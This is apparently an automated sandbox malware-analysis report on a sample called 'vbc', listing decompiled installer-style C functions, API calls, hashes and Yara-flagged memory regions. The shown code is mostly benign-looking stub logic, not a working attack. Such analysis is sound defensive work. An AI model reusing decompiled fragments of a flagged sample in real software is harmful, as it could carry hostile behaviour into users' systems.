Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 1583d2e05e1cff28e3594e7db3f0db2d88eef65457287744bb544c492d9958e5
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: AEE0EC322502AAABDF10AE65DC04AEB7B6CEB05361F018936FD16E6150E631E92197A4

Uniqueness

Uniqueness Score: -1.00%

Function 73282A7F Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x73285048 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x7328505c, 4, 0x40, 0x7328504c); // executed
					 *0x7328505c = 0xc2;
					 *0x7328504c = 0;
					 *0x73285054 = 0;
					 *0x73285068 = 0;
					 *0x73285058 = 0;
					 *0x73285050 = 0;
					 *0x73285060 = 0;
					 *0x7328505e = 0;
				}
				return 1;
			}

0x73282a88
0x73282a8d
0x73282a9d
0x73282aa5
0x73282aac
0x73282ab1
0x73282ab6
0x73282abb
0x73282ac0
0x73282ac5
0x73282aca
0x73282aca
0x73282ad2

APIs

VirtualProtect.KERNELBASE(7328505C,00000004,00000040,7328504C), ref: 73282A9D

Memory Dump Source

Source File: 00000004.00000002.680334815.0000000073281000.00000020.00000001.01000000.00000004.sdmp, Offset: 73280000, based on PE: true

Associated: 00000004.00000002.680330419.0000000073280000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680339813.0000000073284000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680344167.0000000073286000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_73280000_vbc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18192501db64f714e11d7cd9f9cd8ca328576567b7c94787a1122f2bb2438a4f
Instruction ID: 3419202e1bdb5233734e8f4527527fd308e964ab3c7eae402c6495640f95c01a
Opcode Fuzzy Hash: 18192501db64f714e11d7cd9f9cd8ca328576567b7c94787a1122f2bb2438a4f
Instruction Fuzzy Hash: E4F0A5F2504380DEC350EF2A84487893FE0B70C308B34C52AE19CEA281E3344084FF92

Uniqueness

Uniqueness Score: -1.00%

Function 004044E5 Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044E5(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x433ed8;
				if(_t2 != 0) {
					_t3 = SendMessageW(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x004044e5
0x004044ec
0x004044f7
0x00000000
0x004044f7
0x004044fd

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F7

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b985a0028b3d47d2300e38cb49a9103195f452c5c5dca8052d978926f7780193
Instruction ID: 729772cd993a62bf3dcd5a53f5ba0c6067f9c4589e443fe2cdcdd0dddf41cb53
Opcode Fuzzy Hash: b985a0028b3d47d2300e38cb49a9103195f452c5c5dca8052d978926f7780193
Instruction Fuzzy Hash: 74C04CB1740605BADA108B509D45F0677546750701F188429B641A50E0CA74E410D62C

Uniqueness

Uniqueness Score: -1.00%

Function 004044CE Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044CE(int _a4) {
				long _t2;

				_t2 = SendMessageW( *0x434f08, 0x28, _a4, 1); // executed
				return _t2;
			}

0x004044dc
0x004044e2

APIs

SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
Instruction ID: f9270ce27bc2d5d500308faa7c43699bdd9cec228278350af1c7ef3a72e6c056
Opcode Fuzzy Hash: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
Instruction Fuzzy Hash: 4FB01235181A00FBDE514B00DE09F857E62F7E4701F058038F341240F0CBB200A4DB08

Uniqueness

Uniqueness Score: -1.00%

Function 004034E5 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004034E5(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x004034f3
0x004034f9

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403242,?,?,?,?,?,?,0040387D,?), ref: 004034F3

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 004044BB Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044BB(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x42d264, _a4); // executed
				return _t2;
			}

0x004044c5
0x004044cb

APIs

KiUserCallbackDispatcher.NTDLL(?,00404292), ref: 004044C5

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 88c3b14432b04161d4e03979afc52f71aef4d1a500ec292a4d39f98dda9e77ac
Instruction ID: 0db23a64e3c973129ccb7351ad80e5cfa0365495cc8a336c35755b545d17f2be
Opcode Fuzzy Hash: 88c3b14432b04161d4e03979afc52f71aef4d1a500ec292a4d39f98dda9e77ac
Instruction Fuzzy Hash: 74A00275508601DBDE115B51DF09D057B71A7547017414579A18551034C6314461EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 73282B98 Relevance: 1.4, APIs: 1, Instructions: 143
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E73282B98(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _t28;
				void* _t29;
				int _t33;
				void* _t37;
				void* _t40;
				void* _t45;
				void* _t49;
				signed int _t56;
				void* _t61;
				void* _t70;
				intOrPtr _t72;
				signed int _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				intOrPtr _t93;
				intOrPtr _t94;

				if( *0x73285050 != 0 && E73282ADB(_a4) == 0) {
					 *0x73285054 = _t93;
					if( *0x7328504c != 0) {
						_t93 =  *0x7328504c;
					} else {
						E732830C0(E73282AD5(), __ecx);
						 *0x7328504c = _t93;
					}
				}
				_t28 = E73282B09(_a4);
				_t94 = _t93 + 4;
				if(_t28 <= 0) {
					L9:
					_t29 = E73282AFD();
					_t72 = _a4;
					_t79 =  *0x73285058;
					 *((intOrPtr*)(_t29 + _t72)) = _t79;
					 *0x73285058 = _t72;
					E73282AF7();
					_t33 = CloseHandle(??); // executed
					 *0x73285034 = _t33;
					 *0x73285038 = _t79;
					if( *0x73285050 != 0 && E73282ADB( *0x73285058) == 0) {
						 *0x7328504c = _t94;
						_t94 =  *0x73285054;
					}
					_t80 =  *0x73285058;
					_a4 = _t80;
					 *0x73285058 =  *((intOrPtr*)(E73282AFD() + _t80));
					_t37 = E73282AE9(_t80);
					_pop(_t81);
					if(_t37 != 0) {
						_t40 = E73282B09(_t81);
						if(_t40 > 0) {
							_push(_t40);
							_push(E73282B14() + _a4 + _v8);
							_push(E73282B1E());
							if( *0x73285050 <= 0 || E73282ADB(_a4) != 0) {
								_pop(_t88);
								_pop(_t45);
								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
								if(__eflags == 0) {
								}
								asm("loop 0xfffffff5");
							} else {
								_pop(_t89);
								_pop(_t49);
								 *0x7328504c =  *0x7328504c +  *(_t89 + _t49) * 4;
								asm("loop 0xffffffeb");
							}
						}
					}
					_t107 =  *0x73285058;
					if( *0x73285058 == 0) {
						 *0x7328504c = 0;
					}
					E73282B42(_t107, _a4,  *0x73285034,  *0x73285038);
					return _a4;
				}
				_push(E73282B14() + _a4);
				_t56 = E73282B1A();
				_v8 = _t56;
				_t77 = _t28;
				_push(_t68 + _t56 * _t77);
				_t70 = E73282B26();
				_t87 = E73282B22();
				_t90 = E73282B1E();
				_t61 = _t77;
				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
					_push( *((intOrPtr*)(_t70 + _t61)));
				}
				_push( *((intOrPtr*)(_t87 + _t61)));
				asm("loop 0xfffffff1");
				goto L9;
			}

0x73282ba8
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0x73282c20
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0x73282c27
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0x73282c2a
0x73282c30
0x00000000

APIs

CloseHandle.KERNELBASE(00000000), ref: 73282C57

Memory Dump Source

Source File: 00000004.00000002.680334815.0000000073281000.00000020.00000001.01000000.00000004.sdmp, Offset: 73280000, based on PE: true

Associated: 00000004.00000002.680330419.0000000073280000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680339813.0000000073284000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680344167.0000000073286000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_73280000_vbc.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 1ef657144265ada7ba89caecc7987b40626885b2f78e7071c69b6852bb5133c2
Instruction ID: 59cb301e01e44a24428ca593fe932c69135fc46e8443f646d0e4f4e4cf57d30a
Opcode Fuzzy Hash: 1ef657144265ada7ba89caecc7987b40626885b2f78e7071c69b6852bb5133c2
Instruction Fuzzy Hash: B54190B250030DDFEB11EF69D988BD97BB9EB48314F34C426E409D61C0D67994C0AB91

Uniqueness

Uniqueness Score: -1.00%

Function 732812BB Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E732812BB() {
				void* _t3;

				_t3 = GlobalAlloc(0x40,  *0x7328506c +  *0x7328506c); // executed
				return _t3;
			}

0x732812c5
0x732812cb

APIs

GlobalAlloc.KERNELBASE(00000040,?,732812DB,?,7328137F,00000019,732811CA,-000000A0), ref: 732812C5

Memory Dump Source

Source File: 00000004.00000002.680334815.0000000073281000.00000020.00000001.01000000.00000004.sdmp, Offset: 73280000, based on PE: true

Associated: 00000004.00000002.680330419.0000000073280000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680339813.0000000073284000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680344167.0000000073286000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_73280000_vbc.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 6fcd43f00682317228415e08771684b88c5ae402de62d51412d9cbaff8acb8b9
Instruction ID: f478329390f1e9c3e9af267b28f4bb7edd30c35185d8bed6e2e48c0aa9cfcfd0
Opcode Fuzzy Hash: 6fcd43f00682317228415e08771684b88c5ae402de62d51412d9cbaff8acb8b9
Instruction Fuzzy Hash: 00B012B2A00120DFEE00AB65CC0EF7536D4E704301F24C000FA08C0181C12048009536

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040498A Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040498A(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x42c240; // 0x900bec
				_v32 = _t82;
				_t2 = _t82 + 0x3c; // 0x0
				_t3 = _t82 + 0x38; // 0x0
				_t146 = ( *_t2 << 0xb) + 0x436000;
				_v12 =  *_t3;
				if(_a8 == 0x40b) {
					E00405B81(0x3fb, _t146);
					E004067C4(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405B81(0x3fb, _t146);
							if(E00405F14(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E0040653D(0x42b238, _t146);
							_t87 = E0040690A(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E0040653D(0x42b238, _t146);
								_t89 = E00405EB7(0x42b238);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x42b238,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x42b238) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x42b238,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405E58(0x42b238);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x42b238) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404E27(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x433edc + 0x10)) != _t158) {
									E00404E0F(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x42b228);
									} else {
										E00404D46(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x434fa4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E004044BB(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x42d258 == _t158) {
									E004048E3();
								}
								 *0x42d258 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x42d268;
							_v60 = E00404CE0;
							_v56 = _t146;
							_v68 = E0040657A(_t146, 0x42d268, _t167, 0x42ba40, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405E0C(_t146);
								_t125 =  *((intOrPtr*)( *0x434f10 + 0x11c));
								if( *((intOrPtr*)( *0x434f10 + 0x11c)) != 0 && _t146 == 0x440800) {
									E0040657A(_t146, 0x42d268, _t167, 0, _t125);
									if(lstrcmpiW(0x432ea0, 0x42d268) != 0) {
										lstrcatW(_t146, 0x432ea0);
									}
								}
								 *0x42d258 =  *0x42d258 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405E83(_t146) != 0 && E00405EB7(_t146) == 0) {
						E00405E0C(_t146);
					}
					 *0x433ed8 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00404499(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00404499(_t167);
					E004044CE(_t166);
					_t138 = E0040690A(8);
					if(_t138 == 0) {
						L53:
						return E00404500(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x0040498a
0x00404990
0x00404996
0x0040499a
0x0040499d
0x004049a3
0x004049b1
0x004049b4
0x004049bc
0x004049c2
0x004049c2
0x004049ce
0x004049d1
0x00404a3f
0x00404a46
0x00404b1d
0x00404b24
0x00404b33
0x00404b33
0x00404b37
0x00404b41
0x00404b4e
0x00404b50
0x00404b50
0x00404b5e
0x00404b65
0x00404b6c
0x00404b6f
0x00404bab
0x00404bad
0x00404bb3
0x00404bb8
0x00404bbc
0x00404bbe
0x00404bbe
0x00404bda
0x00000000
0x00404bdc
0x00404bdf
0x00404bed
0x00404bf3
0x00404bf4
0x00404bf7
0x00404bfa
0x00000000
0x00404bfa
0x00404b71
0x00404b73
0x00404b77
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b79
0x00404b79
0x00404b86
0x00404b8b
0x00000000
0x00000000
0x00404b8f
0x00404b91
0x00404b91
0x00404b9a
0x00404b9c
0x00404ba1
0x00404ba4
0x00404ba9
0x00000000
0x00000000
0x00000000
0x00000000
0x00404ba9
0x00404c06
0x00404c10
0x00404c13
0x00404c16
0x00404c1d
0x00404c1d
0x00404c1f
0x00404c1f
0x00404c24
0x00404c26
0x00404c2e
0x00404c35
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0x00404c42
0x00404c42
0x00404c37
0x00404c52
0x00404c5c
0x00404c64
0x00404c7f
0x00404c66
0x00404c6f
0x00404c6f
0x00404c64
0x00404c84
0x00404c89
0x00404c8e
0x00404c97
0x00404c97
0x00404ca0
0x00404ca2
0x00404ca2
0x00404cae
0x00404cb6
0x00404cc0
0x00404cc0
0x00404cc5
0x00000000
0x00404cc5
0x00404b6f
0x00404b26
0x00404b2d
0x00000000
0x00000000
0x00000000
0x00404b2d
0x00404a4c
0x00404a55
0x00404a6f
0x00404a74
0x00404a7e
0x00404a85
0x00404a91
0x00404a94
0x00404a97
0x00404a9e
0x00404aa6
0x00404aa9
0x00404aad
0x00404ab4
0x00404abc
0x00404b16
0x00404abe
0x00404abf
0x00404ac6
0x00404ad0
0x00404ad8
0x00404ae5
0x00404af9
0x00404afd
0x00404afd
0x00404af9
0x00404b02
0x00404b0f
0x00404b0f
0x00404abc
0x00000000
0x00404a74
0x00404a62
0x00000000
0x00000000
0x00404a68
0x00000000
0x004049d3
0x004049e0
0x004049e9
0x004049f6
0x004049f6
0x004049fd
0x00404a03
0x00404a0c
0x00404a0f
0x00404a12
0x00404a1a
0x00404a1d
0x00404a20
0x00404a26
0x00404a2d
0x00404a34
0x00404ccb
0x00404cdd
0x00404a3a
0x00404a3d
0x00000000
0x00404a3d
0x00404a34

APIs

GetDlgItem.USER32(?,000003FB), ref: 004049D9
SetWindowTextW.USER32 ref: 00404A03
SHBrowseForFolderW.SHELL32(?), ref: 00404AB4
CoTaskMemFree.OLE32(00000000), ref: 00404ABF
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,-00436000), ref: 00404AF1
lstrcatW.KERNEL32 ref: 00404AFD
SetDlgItemTextW.USER32 ref: 00404B0F

Part of subcall function 00405B81: GetDlgItemTextW.USER32 ref: 00405B94

Part of subcall function 004067C4: CharNextW.USER32(?), ref: 00406827
Part of subcall function 004067C4: CharNextW.USER32(?), ref: 00406836
Part of subcall function 004067C4: CharNextW.USER32(?), ref: 0040683B
Part of subcall function 004067C4: CharPrevW.USER32(?,?), ref: 0040684E

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,-00436000,00000001,0042B238,-00436000,-00436000,000003FB,-00436000), ref: 00404BD2
MulDiv.KERNEL32 ref: 00404BED

Part of subcall function 00404D46: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,-00436000), ref: 00404DE7
Part of subcall function 00404D46: wsprintfW.USER32 ref: 00404DF0
Part of subcall function 00404D46: SetDlgItemTextW.USER32 ref: 00404E03

Strings

A, xrefs: 00404AAD
Call, xrefs: 00404AEB, 00404AF0, 00404AFB

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$Call
API String ID: 2624150263-209694386
Opcode ID: 259166ff03eae0857acd79a20f7b98923a8009c2c5ceed70d4eafac61dfc2b3f
Instruction ID: a81e8b8b6ddc8ea4f7a7a45a10ce21cc850824e22f7b82fba9ad49fead82d7d1
Opcode Fuzzy Hash: 259166ff03eae0857acd79a20f7b98923a8009c2c5ceed70d4eafac61dfc2b3f
Instruction Fuzzy Hash: CBA191B1900208ABDB119FA6DD45AAFB7B8EF84314F10803BF601B62D1D77C9A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 036F7022 Relevance: 8.4, Strings: 6, Instructions: 899COMMON

Download Yara Rule

Strings

1kmu, xrefs: 036F45D1
P\%, xrefs: 036F4A56
Tf{, xrefs: 036F708C
ps, xrefs: 036F7145
8hpI, xrefs: 036F7031
3|, xrefs: 036F46DE

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: 1kmu$3|$8hpI$P\%$Tf{$ps
API String ID: 0-29898945
Opcode ID: 90aff934d8521453c4a3b2b9eea2b1725dd7122bb96779662960a7341ba6b9d1
Instruction ID: 0636f79cb054e801c633958071051a8153c3a29a848aab6cbd050cb3c486486a
Opcode Fuzzy Hash: 90aff934d8521453c4a3b2b9eea2b1725dd7122bb96779662960a7341ba6b9d1
Instruction Fuzzy Hash: 26820DB2A043899FDB74DF29CD947DABBB2BF49300F45812EDD899B610D7309A81CB41

Uniqueness

Uniqueness Score: -1.00%

Function 036F6EAF Relevance: 5.9, Strings: 4, Instructions: 878COMMON

Download Yara Rule

Strings

1kmu, xrefs: 036F45D1
P\%, xrefs: 036F4A56
6@&, xrefs: 036F4DB7
3|, xrefs: 036F46DE

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: 1kmu$3|$6@&$P\%
API String ID: 0-2798541830
Opcode ID: 6a2f67cae807ac88c083772f4e83bfefdd33a8d9e925326edb89a785ed1fb289
Instruction ID: d796cf9c6f234d584be650b05c78521aca8304ee9739a9b1cc2b760b6e849db4
Opcode Fuzzy Hash: 6a2f67cae807ac88c083772f4e83bfefdd33a8d9e925326edb89a785ed1fb289
Instruction Fuzzy Hash: 0F72FDB26043499FDB75DF39CD84BDABBA2FF49310F454529EE898B620D3309A81CB41

Uniqueness

Uniqueness Score: -1.00%

Function 036F773F Relevance: 5.0, Strings: 3, Instructions: 1275COMMON

Download Yara Rule

Strings

1kmu, xrefs: 036F45D1
P\%, xrefs: 036F4A56
3|, xrefs: 036F46DE

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

